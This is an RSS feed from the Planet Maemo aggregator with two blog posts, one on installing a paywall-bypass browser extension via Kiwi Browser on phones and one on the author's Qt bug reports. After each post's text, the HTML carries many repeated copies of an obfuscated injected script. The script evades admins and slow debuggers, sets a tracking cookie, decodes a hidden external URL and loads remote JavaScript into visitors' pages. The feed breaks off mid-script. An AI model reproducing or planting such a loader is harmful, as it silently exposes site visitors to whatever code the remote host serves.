<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.7.6(BH)" -->
<rss version="2.0">
    <channel xmlns:g="http://base.google.com/ns/1.0">
        <title>Planet Maemo: category &quot;feed:43af5b2374081abdd0dbc4ba26a0b54c&quot;</title>
        <description>Blog entries from Maemo community</description>
        <link>http://maemo.org/news/planet-maemo/</link>
        <lastBuildDate>Sat, 04 Apr 2026 18:10:08 +0000</lastBuildDate>
        <generator>FeedCreator 1.7.6(BH)</generator>
        <language>en</language>
        <managingEditor>planet@maemo.org</managingEditor>
        <item>
            <title>The bypass paywalls on a phone</title>
            <link>https://pvanhoof.be/blog/index.php/2023/07/27/the-bypass-paywalls-on-a-phone</link>
            <description><![CDATA[

<p>Bypassing paywalls is a sport for some. And it ain&#8217;t hard for Desktop Browsers. Just install <a href="https://github.com/iamadamdev/bypass-paywalls-chrome">a addon</a> in your favorite Desktop Browser.</p>



<p>Unfortunately this didn&#8217;t work on a Android or iPhone phone. Nor on Sailfish OS with its Android emulation. Because over there browsers like Chrome and Chromium don&#8217;t allow extensions to be installed. Firefox does have some limited support for addons, but it can&#8217;t open local XPI files. Its addon menu doesn&#8217;t contain the addon and the addon website for it sees the  running browser as incompatible.</p>



<p>Luckily you have Kiwi Browser, which is a Chrome based browser that did not disable extensions to be installed.</p>



<p>Once Kiwi is installed you can go to either chrome://extensions or kiwi://extensions, enable Developer mode and then open the zip file as explained in the <a href="https://github.com/iamadamdev/bypass-paywalls-chrome/blob/master/README.md">Readme.md</a>.</p>



<p>ps. For Sailfish I had to install <a href="https://apkpure.com/kiwi-browser-fast-quiet/com.kiwibrowser.browser/variant/112.0.5615.137-APK">an older version of Kiwi Browser</a>, as the most recent version doesn&#8217;t seem to work.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1ee2c623152fbe82c6211eeb5ec153dd71da193a193&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1ee2c623152fbe82c6211eeb5ec153dd71da193a193/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1ee2c623152fbe82c6211eeb5ec153dd71da193a193&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1ee2c623152fbe82c6211eeb5ec153dd71da193a193/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Thu, 27 Jul 2023 08:37:15 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1ee2c623152fbe82c6211eeb5ec153dd71da193a193</guid>
        </item>
        <item>
            <title>Improving Qt</title>
            <link>https://pvanhoof.be/blog/index.php/2021/12/19/improving-qt</link>
            <description><![CDATA[

<p>We are a few years <a href="https://pvanhoof.be/blog/index.php/2020/12/17/avast-qt6-announcing-new-qpromise-and-qfuture-apis">further</a>. A few years in which we all tried to make a difference.</p>



<p>I&#8217;m incredibly proud of my achievement of <a href="https://bugreports.qt.io/browse/QTBUG-61928">QTBUG-61928</a>. At the time I thought I could never convince the Qt development team of changing their APIs. They did and today in <a href="https://www.qt.io/blog/qt-6.0-beta-released">Qt6</a> it&#8217;s all very much part of the package.</p>



<p>I want to thank Thiago and others. But I also think it&#8217;s a team effort. It might not be because of just me. But I still feel a little bit proud of having pushed this team just enough to make the changes.</p>



<p>I am now at a new Qt bug report. This time it&#8217;s about int64_t. I think that <a href="https://doc.qt.io/qt-5/qmodelindex.html#row">QModelIndex</a> should be completely supporting it. Again, I think a lot. And I have a lot of opinions. But I anyway filed <a href="https://bugreports.qt.io/browse/QTBUG-99312">QTBUG-99312</a> for this.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 